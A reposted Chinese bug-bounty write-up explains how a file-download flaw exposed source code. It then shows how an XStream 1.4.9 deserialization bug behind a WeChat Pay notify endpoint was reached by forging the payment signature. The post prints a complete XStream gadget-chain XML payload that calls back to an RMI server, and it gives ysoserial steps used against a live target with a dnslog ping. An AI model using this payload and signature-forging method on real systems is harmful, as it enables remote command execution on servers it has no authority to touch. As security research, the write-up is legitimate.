SRC挖掘 | 文件下载漏洞getshell

admin 2024年11月11日20:31:30评论12 views字数 2920阅读9分44秒阅读模式

之前挖到的文件下载漏洞,重新审计了一遍,发现了可以getshell的漏洞点,现在再写一篇文章分享漏洞思路。

文件下载漏洞

有恒,公众号:有恒安全一次文件下载漏洞获取源代码审计

0、漏洞回顾

SRC挖掘 | 文件下载漏洞getshell

1、代码审计

查看导入的外部库,发现使用了xstream组件

SRC挖掘 | 文件下载漏洞getshell

在xstream1.4.9版本中,存在反序列化漏洞,可以执行任意命令,漏洞详情可以参考该文章。

XStream反序列化漏洞

Jerry,公众号:海狼风暴团队CVE-2021-29505 XStream 反序列化命令执行漏洞

该方法中使用了xstream组件

SRC挖掘 | 文件下载漏洞getshell

只要 ”if (this.wXPay.isResponseSignatureValid(notifyMap)) {“

返回true,就可以执行getObjectFromXML方法

SRC挖掘 | 文件下载漏洞getshell

跟进去isResponseSignatureValid判断方法,这里要传入key,sing类型等参数,查看该方法的代码逻辑。

SRC挖掘 | 文件下载漏洞getshell

判断传入的参数是否有sign,如果有sign,就判断sign是否正确

SRC挖掘 | 文件下载漏洞getshell

生成sign的逻辑

SRC挖掘 | 文件下载漏洞getshell

这个是微信支付SDK中的一个工具方法,用于验证接收到的数据签名是否有效,这个方法生成的sign签名比较复杂,可以将该方法复制到自己本地的测试代码中进行调试。

找到对应的配置信息,this.config.getKey,this.signType,将参数传入到方法里面

this.config.getKey:

this.signType

SRC挖掘 | 文件下载漏洞getshell

SRC挖掘 | 文件下载漏洞getshell

通过搜索WXPayConfig与WXPay,找到对应的配置xml文件

SRC挖掘 | 文件下载漏洞getshell

SRC挖掘 | 文件下载漏洞getshell

再通过搜索wxpay.appID,wxpay.useSanBox等信息,找到对应的配置信息

SRC挖掘 | 文件下载漏洞getshell

2、本地代码演示

复制配置信息到本地测试代码,创建一个新的 WXPay 实例,调用刚才的isResponseSignatureValid方法,将找到的配置信息传入进去,在生成sign签名的代码打上断点,进行调试sign签名。

SRC挖掘 | 文件下载漏洞getshell

SRC挖掘 | 文件下载漏洞getshell

SRC挖掘 | 文件下载漏洞getshell

使用ysoserial-all.jar工具,执行calc命令

SRC挖掘 | 文件下载漏洞getshell

构造数据包,该数据包是访问本地的1099端口执行cc6利用链

<java.util.PriorityQueue serialization='custom'>    <unserializable-parents/>    <java.util.PriorityQueue>        <default>            <size>2</size>        </default>        <int>3</int>        <javax.naming.ldap.Rdn_-RdnEntry>            <type>12345</type>            <value class='com.sun.org.apache.xpath.internal.objects.XString'>                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;</m__obj>            </value>        </javax.naming.ldap.Rdn_-RdnEntry>        <javax.naming.ldap.Rdn_-RdnEntry>            <type>12345</type>            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>                    <parsedMessage>true</parsedMessage>                    <soapVersion>SOAP_11</soapVersion>                    <bodyParts/>                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>                        <attachmentsInitialized>false</attachmentsInitialized>                        <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>                            <soapPart/>                            <mm>                                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>                                    <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>                                        <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>                                            <names>                                                <string>aa</string>                                                <string>aa</string>                                            </names>                                            <ctx>                                                <environment/>                                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>                                                    <java.rmi.server.RemoteObject>                                                        <string>UnicastRef</string>                                                        <string>127.0.0.1</string>                                                        <int>1099</int>                                                        <long>0</long>                                                        <int>0</int>                                                        <long>0</long>                                                        <short>0</short>                                                        <boolean>false</boolean>                                                    </java.rmi.server.RemoteObject>                                                </registry>                                                <host>127.0.0.1</host>                                                <port>1099</port>                                            </ctx>                                        </candidates>                                    </aliases>                                </it>                            </mm>                        </multiPart>                    </sm>                </message>            </value>        </javax.naming.ldap.Rdn_-RdnEntry>    </java.util.PriorityQueue><sign>123</sign></java.util.PriorityQueue>

SRC挖掘 | 文件下载漏洞getshell

最后调试出sign签名。

SRC挖掘 | 文件下载漏洞getshell

重新将刚才的sign签名转化为大写,复制到数据包中,再请求一次。

SRC挖掘 | 文件下载漏洞getshell

成功进入到getObjectFromXML方法里面。

SRC挖掘 | 文件下载漏洞getshell

SRC挖掘 | 文件下载漏洞getshell

成功执行命令

SRC挖掘 | 文件下载漏洞getshell

3、漏洞复现

步骤相同,在云服务器使用ysoserial-all.jar工具,执行ping dnslog命令

SRC挖掘 | 文件下载漏洞getshell

登录后台系统,构造数据包

SRC挖掘 | 文件下载漏洞getshell

按刚才的步骤重新生成sign签名,构造数据包发送,host改为自己服务器的ip。

SRC挖掘 | 文件下载漏洞getshell

服务器收到目标的请求

SRC挖掘 | 文件下载漏洞getshell

dnslog收到目标的ping回显

SRC挖掘 | 文件下载漏洞getshell

免责声明

本文中提及的程序和方法仅供安全研究与教学使用。读者如将其用于其他目的,所产生的法律后果由读者自行承担。文章作者及本公众号不对任何因此而造成的法律责任承担责任,请予以理解。

原文始发于微信公众号(有恒安全):SRC挖掘 | 文件下载漏洞getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日20:31:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SRC挖掘 | 文件下载漏洞getshellhttps://cn-sec.com/archives/3384387.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息